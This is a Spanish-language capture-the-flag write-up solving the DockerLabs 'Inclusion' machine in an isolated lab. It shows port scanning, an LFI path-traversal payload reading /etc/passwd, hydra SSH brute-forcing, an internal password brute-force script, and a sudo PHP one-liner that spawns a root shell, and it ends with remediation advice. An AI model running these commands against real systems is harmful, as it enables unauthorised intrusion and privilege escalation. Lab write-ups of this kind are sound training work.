Inclusion
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Inclusion, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.
El objetivo es guiar paso a paso el proceso de compromiso del sistema:
- Reconocimiento: Descubrimiento de servicios y endpoints web expuestos.
- Explotación: Obtención de credenciales mediante una vulnerabilidad LFI combinada con fuerza bruta vía SSH.
- Escalada de privilegios: Uso de técnicas de password scraping y mala configuración de
sudopara obtenerroot.
Todo el procedimiento se realizó en el entorno aislado de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Inclusion |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 12/05/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimimos y desplegamos la máquina:
unzip Inclusion.zipsudo bash auto_deploy.sh Inclusion.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Inclusion/{content,exploits,nmap,gobuster,scripts}cd Inclusion1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»Utilizamos Feroxbuster:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
Rutas relevantes:
/index.html— Página generada por Apache./shop— Una tienda de teclados con un parámetro vulnerable.

Dentro de /shop, se observa el mensaje:
"Error de Sistema: ($_GET['archivo']);"
Esto indica que el backend intenta cargar archivos usando el valor de archivo, sugiriendo una vulnerabilidad LFI.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Probamos un ataque LFI:
http://172.17.0.2/shop/index.php?archivo=../../../../etc/passwd
Usuarios identificados:
manchiseller
Los wrappers de PHP están deshabilitados, así que no podemos convertir el LFI en RCE. La vía lógica: fuerza bruta contra SSH.
Probamos con manchi:
hydra -l manchi -P rockyou.txt ssh://172.17.0.2 -t 64
Obtenemos credenciales válidas → acceso via SSH:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De manchi → seller
Sección titulada «3.1 De manchi → seller»No encontramos binarios SUID, tareas cron o configuraciones sudo útiles. Por lo tanto, recurrimos a fuerza bruta interna con el script personalizado UserRush.
Transferimos los archivos mediante scp:
scp ./UserRush.sh manchi@172.17.0.2:/tmp/UserRush.shscp ./rockyou.txt manchi@172.17.0.2:/tmp/rockyou.txt
Asignamos permisos de ejecución:
chmod +x /tmp/UserRush.shEjecutamos:
./UserRush.sh -u seller -t 20
Accedemos con:
su seller
3.2 De seller → root
Sección titulada «3.2 De seller → root»Revisamos permisos sudo:

Vemos que seller puede ejecutar PHP como root sin contraseña.
Por lo tanto, podemos invocar una shell como root:
sudo php -r "system('/bin/bash');"Acceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- LFI no validado, permitiendo lectura de archivos sensibles.
- SSH expuesto sin protecciones adicionales.
- Contraseñas débiles y reutilizadas.
- Acceso sudo excesivo: permitir ejecutar PHP como root es crítico.
- Falta de restricciones en herramientas de enumeración internas.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar validación estricta del parámetro
archivoen/shop/. - Deshabilitar SSH o restringirlo únicamente a IPs confiables.
- Aplicar políticas de contraseñas robustas y rotación periódica.
- Revisar configuraciones sudo y eliminar privilegios innecesarios.
- Monitorear accesos sospechosos y aplicar reglas de detección LFI.